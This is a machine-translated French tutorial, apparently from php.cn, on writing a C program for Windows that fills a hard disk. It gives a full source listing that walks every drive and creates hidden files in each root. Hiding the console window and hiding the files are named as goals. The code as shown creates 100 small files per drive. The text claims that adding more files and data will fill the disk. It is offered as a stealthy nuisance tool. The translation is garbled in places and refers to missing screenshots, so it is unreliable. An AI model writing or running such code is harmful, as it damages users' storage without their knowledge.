À propos de l'écriture d'un programme capable de remplir le disque dur
Pensons d'abord à l'idée :
Étape 1 : Obtenez la lettre du lecteur logique
Étape 2 : Créer un fichier
Étape 3 : Écrire des données dans le fichier
Exigences d'extension :
Une : Masquer la fenêtre
Deux : Définir le fichier comme étant masqué attribut
Ci-dessous, nous introduisons une API pour les idées ci-dessus et donnons le code source après l'avoir accepté
GetLogicalDriveStrings function
Remplit un tampon avec des chaînes qui spécifient les lecteurs valides dans le système.
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );
Cette fonction lit les disques disponibles dans le système dans lpBuffer
En cas de succès, renvoie la longueur totale obtenue
Il y a deux cas d'échec : l'un est que le tampon n'est pas assez long, et l'autre est d'autres problèmes
<. 🎜>
Définissez les propriétés de navigation dans les fichiers :
#include <Windows.h> int main() { //FreeConsole(); //隐藏控制台 char strDriveStrings[MAXBYTE] = { 0 }; //获取逻辑地址 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节表示一个盘符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //创建100个文件 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //创建文件 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //写入数据 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //设置为隐藏 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
Les résultats d'exécution sont les suivants :
Si les problèmes suivants surviennent :
Modifiez le jeu de caractères comme suit :
Donc, tant que vous créez quelques fichiers et données supplémentaires, le disque dur sera rempli
Ce qui précède est le contenu de C/C pour écrire facilement des programmes qui peuvent remplir le disque dur. plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn) !